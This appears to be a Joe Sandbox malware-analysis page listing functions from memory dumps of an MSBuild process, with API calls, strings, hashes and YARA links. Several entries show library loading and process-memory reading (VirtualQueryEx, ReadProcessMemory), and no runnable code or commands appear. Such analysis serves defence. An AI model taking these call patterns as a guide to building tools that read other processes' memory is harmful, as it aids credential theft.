Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: 543e372a39f940d0850f48952d6392ca4f4150f9b2946452e5f5d15aac94c4e8
Instruction ID: 30e4ce680e2015200256d49212d9420f7478070cfdbabba0d186b26fd69fdd62
Opcode Fuzzy Hash: 543e372a39f940d0850f48952d6392ca4f4150f9b2946452e5f5d15aac94c4e8
Instruction Fuzzy Hash: 5DF0B475202220AFDA007B68DC48AAA77BCFBCB39DF015112EA0583702DB354C048779

Function 6C510E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6C510DF8), ref: 6C510E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6C510EA1
__Init_thread_footer.LIBCMT ref: 6C510EB5
FreeLibrary.KERNEL32 ref: 6C510EC5

Strings

kernel32.dll, xrefs: 6C510E7D
GetProcessMitigationPolicy, xrefs: 6C510E9B

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: 5066dbd611e54c35378f21d6ce3eeeed0fa7213a473f66805eeef41c013dde10
Instruction ID: 0f049f06bc9166d63fd8d89d737e7ba8131059f1dfb1a141c37db633571a9a0d
Opcode Fuzzy Hash: 5066dbd611e54c35378f21d6ce3eeeed0fa7213a473f66805eeef41c013dde10
Instruction Fuzzy Hash: AD012C747062A1CBFE009FD9CC58A4237B5F78F314F122716E915C2F40D774A418CA99

Function 6C54F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C549420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C514A68), ref: 6C54945E
Part of subcall function 6C549420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C549470
Part of subcall function 6C549420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C549482
Part of subcall function 6C549420: __Init_thread_footer.LIBCMT ref: 6C54949F

GetCurrentThreadId.KERNEL32 ref: 6C54F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C54F598), ref: 6C54F621

Part of subcall function 6C5494D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5494EE
Part of subcall function 6C5494D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C549508

GetCurrentThreadId.KERNEL32 ref: 6C54F637
AcquireSRWLockExclusive.KERNEL32(6C58F4B8,?,?,00000000,?,6C54F598), ref: 6C54F645
ReleaseSRWLockExclusive.KERNEL32(6C58F4B8,?,?,00000000,?,6C54F598), ref: 6C54F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C54F62A

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: 66db141f4b308d53c42db791c74be61a8bc14b8a9260adb5df84eece6051af22
Instruction ID: 0eb134916ea17371245fe8f9b00592b42f169679e575e99ec618c977b8d37e81
Opcode Fuzzy Hash: 66db141f4b308d53c42db791c74be61a8bc14b8a9260adb5df84eece6051af22
Instruction Fuzzy Hash: 68F0BE75202220AFDA007B68CC48A6A7BBCFBCB3ADF025112EA0583712CB364C058779

Function 6C5405F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C53CFAE,?,?,?,6C5031A7), ref: 6C5405FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C53CFAE,?,?,?,6C5031A7), ref: 6C540616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C5031A7), ref: 6C54061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C5031A7), ref: 6C540627

Strings

<jemalloc>, xrefs: 6C5405FA, 6C54060F
: (malloc) Error in VirtualFree(), xrefs: 6C54061B, 6C540625

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: a61c52744c51eb04bf1171a09496b09afa1ae4f0f298478586aa23bdb94fc202
Instruction ID: e9443c089e9ed0fd103f4c01d61283602bb1b5c4df7db4b058ad608b0db79351
Opcode Fuzzy Hash: a61c52744c51eb04bf1171a09496b09afa1ae4f0f298478586aa23bdb94fc202
Instruction Fuzzy Hash: 9CE08CE2A0202037F524225AAC86DBB761CDBC6134F080139FD0D82701EA4ABD1A51F6

Function 6C5105F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f3934bbddc50cfddd60db2061a3c23844364e95fef53113e6c1295a8e83a083
Instruction ID: e248674010e0cbbdcd711445da94accc48cea934f8baa33614a95d789dfdb84c
Opcode Fuzzy Hash: 9f3934bbddc50cfddd60db2061a3c23844364e95fef53113e6c1295a8e83a083
Instruction Fuzzy Hash: 0EA14AB0A05655CFEB14CF29C994A9EFBF1BF89304F44866ED44A97B00E730A955CF90

Function 6C5614A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5614C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5614E2
GetCurrentThreadId.KERNEL32 ref: 6C561546
InitializeConditionVariable.KERNEL32(?), ref: 6C5615BA
free.MOZGLUE(?), ref: 6C5616B4

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 5f9b3ca2dbdb58ef662557a43da9295b173c9d2bddbaa7f318b62a9be70b264f
Instruction ID: f397422736439b9990506aecddafe3ff6112542bfe087ae00763f51e4f69104f
Opcode Fuzzy Hash: 5f9b3ca2dbdb58ef662557a43da9295b173c9d2bddbaa7f318b62a9be70b264f
Instruction Fuzzy Hash: 9F61EE75A00750DBDB119F21CC80BEBB7B4BF8A308F45991DE98A57A11EB30E958CB91

Function 6C559F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C559FDB
free.MOZGLUE(?,?), ref: 6C559FF0
free.MOZGLUE(?,?), ref: 6C55A006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C55A0BE
free.MOZGLUE(?,?), ref: 6C55A0D5
free.MOZGLUE(?,?), ref: 6C55A0EB

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 3a286f00b47852735b2202f05b48dee8c277f327ab9077466c6b498b202518c5
Instruction ID: 508624296d171faaff5749bd6f5300fd71bf583f5e22f7debc1ebf8be0986687
Opcode Fuzzy Hash: 3a286f00b47852735b2202f05b48dee8c277f327ab9077466c6b498b202518c5
Instruction Fuzzy Hash: 2161B175809641DFC711CF18C88056AB3F5FFC8328F94465AE8599B702E732E996CBD1

Function 6C55DC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C55DC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C55D38A,?), ref: 6C55DC6F
free.MOZGLUE(?,?,?,?,?,6C55D38A,?), ref: 6C55DCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C55D38A,?), ref: 6C55DCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C55D38A,?), ref: 6C55DD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C55D38A,?), ref: 6C55DD4A

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: 05290767397dbe1afc462a5b07215883b99d6627e4f744049e0d6e27afa0b48e
Instruction ID: f387f4ef77ed367164de09b69ae83a68806b493f03730246278059ed28e0eda0
Opcode Fuzzy Hash: 05290767397dbe1afc462a5b07215883b99d6627e4f744049e0d6e27afa0b48e
Instruction Fuzzy Hash: 71417E76A00615CFCB00CFA9CD84A9AB7F5FF89314B95456AD945ABB11D731FC10CB90

Function 0041B38C Relevance: 9.1, APIs: 6, Instructions: 98COMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 0041B39A

Part of subcall function 0041AFAC: __mtinitlocknum.LIBCMT ref: 0041AFC2
Part of subcall function 0041AFAC: __amsg_exit.LIBCMT ref: 0041AFCE
Part of subcall function 0041AFAC: EnterCriticalSection.KERNEL32(?,?,?,0041AC60,0000000E,0042A0E0,0000000C,0041AC2A), ref: 0041AFD6

DecodePointer.KERNEL32(0042A120,00000020,0041B4DD,?,00000001,00000000,?,0041B4FF,000000FF,?,0041AFD3,00000011,?,?,0041AC60,0000000E), ref: 0041B3D6
DecodePointer.KERNEL32(?,0041B4FF,000000FF,?,0041AFD3,00000011,?,?,0041AC60,0000000E,0042A0E0,0000000C,0041AC2A), ref: 0041B3E7

Part of subcall function 0041BE35: EncodePointer.KERNEL32(00000000,0041C063,004495B8,00000314,00000000,?,?,?,?,?,0041B707,004495B8,Microsoft Visual C++ Runtime Library,00012010), ref: 0041BE37

DecodePointer.KERNEL32(-00000004,?,0041B4FF,000000FF,?,0041AFD3,00000011,?,?,0041AC60,0000000E,0042A0E0,0000000C,0041AC2A), ref: 0041B40D
DecodePointer.KERNEL32(?,0041B4FF,000000FF,?,0041AFD3,00000011,?,?,0041AC60,0000000E,0042A0E0,0000000C,0041AC2A), ref: 0041B420
DecodePointer.KERNEL32(?,0041B4FF,000000FF,?,0041AFD3,00000011,?,?,0041AC60,0000000E,0042A0E0,0000000C,0041AC2A), ref: 0041B42A

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Pointer$Decode$CriticalEncodeEnterSection__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2005412495-0
Opcode ID: 0b0bc3cab5f7049983f26cd80e00dd0aa4f75dbf31a2a29bc74296bdc4549019
Instruction ID: 13f01492c0df899e955246e6d1acdef18d299a0ed6057d30a0a2a93d2b0efa88
Opcode Fuzzy Hash: 0b0bc3cab5f7049983f26cd80e00dd0aa4f75dbf31a2a29bc74296bdc4549019
Instruction Fuzzy Hash: D6312874901349DFDF109FA9C9452DEBAF1FF48314F14802BE414A6262CBB94895DFAE

Function 6C55C810 Relevance: 9.1, APIs: 6, Instructions: 75COMMON

Download Yara Rule

APIs

??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C55C82D
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C55C842

Part of subcall function 6C55CAF0: ?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(00000000,00000000,?,6C57B5EB,00000000), ref: 6C55CB12

?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,00000000), ref: 6C55C863
std::_Facet_Register.LIBCPMT ref: 6C55C875

Part of subcall function 6C53B13D: ??_U@YAPAXI@Z.MOZGLUE(00000008,?,?,6C57B636,?), ref: 6C53B143

??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C55C89A
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C55C8BC

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_Bid@locale@std@@Facet_Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterV42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 2745304114-0
Opcode ID: 045c4f15a4770853c4f8996c8ce95d0d195a56c449511c4ed12cf59a19a136e0
Instruction ID: 60bbd00096ed25f0cf54b8c1d5e8358909d16de93aac0b0293cb112ba039f7ec
Opcode Fuzzy Hash: 045c4f15a4770853c4f8996c8ce95d0d195a56c449511c4ed12cf59a19a136e0
Instruction Fuzzy Hash: F811B675B012199BCF00EFA4CC849AE7B78EF8E354F01052AE50697341EB30AD18CB95

Function 0041C9DE Relevance: 9.0, APIs: 6, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0041C9EA

Part of subcall function 0041BF9F: __getptd_noexit.LIBCMT ref: 0041BFA2
Part of subcall function 0041BF9F: __amsg_exit.LIBCMT ref: 0041BFAF

__amsg_exit.LIBCMT ref: 0041CA0A
__lock.LIBCMT ref: 0041CA1A
InterlockedDecrement.KERNEL32(?), ref: 0041CA37
free.MSVCRT ref: 0041CA4A
InterlockedIncrement.KERNEL32(0042B558), ref: 0041CA62

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lockfree
String ID:
API String ID: 634100517-0
Opcode ID: 8fe1d07e46c7f7a05b9aade772f191e19f6fe2cab31bcbc29ba7bdc60f9379df
Instruction ID: 83df0cd24f2ef528265bdd767f82c36d0b02d0b672a998c6c347af455cc5eb0e
Opcode Fuzzy Hash: 8fe1d07e46c7f7a05b9aade772f191e19f6fe2cab31bcbc29ba7bdc60f9379df
Instruction Fuzzy Hash: DF01C431A817299BC722EB669C857DE77A0BF04794F01811BE80467390C72C69D2CBDD

Function 00416F00 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 156stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00416F1F
??_U@YAPAXI@Z.MSVCRT(00000000,?,?,?,?,?,?,?,?,0041719A,00000000,65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30,00000000,00000000), ref: 00416F4D

Part of subcall function 00416BD0: strlen.MSVCRT ref: 00416BE1
Part of subcall function 00416BD0: strlen.MSVCRT ref: 00416C05

VirtualQueryEx.KERNEL32(?,00000000,?,0000001C), ref: 00416F92
??_V@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0041719A), ref: 004170B3

Part of subcall function 00416DE0: ReadProcessMemory.KERNEL32(00000000,00000000,?,?,00000000,00064000,00064000,00000000,00000004), ref: 00416DF8

Strings

@, xrefs: 00416FA6

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: strlen$MemoryProcessQueryReadVirtual
String ID: @
API String ID: 2950663791-2766056989
Opcode ID: 0d89010186691ec5492239175b82a1a91f8bc2a2393b87c9978cf9f8736f9be8
Instruction ID: da6ee04ed372484ea639f8c5ae6d2cf8ded6d6947598eb42fecba3fc0a9bdd2e
Opcode Fuzzy Hash: 0d89010186691ec5492239175b82a1a91f8bc2a2393b87c9978cf9f8736f9be8
Instruction Fuzzy Hash: 27511CB5E041099BDB04CF98D981AEFBBB5FF88304F108559F919A7340D738EA51CBA5

Function 004069B0 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 155libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(00000000,?,?,?,?,?,00406E2A), ref: 00406A19

Strings

*n@, xrefs: 004069BD, 004069C9, 004069DC, 004069E5, 00406A09, 00406A32, 00406A35, 00406AEF, 00406B01, 00406B0D, 00406B16, 00406B93, 00406B49, 00406A4A, 00406A6D, 00406A79, 00406AA1, 00406AD1, 00406AE3, 00406AAD, 00406ABA, 00406A56
*n@, xrefs: 00406B28, 00406BB6, 00406BBB, 00406B65

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

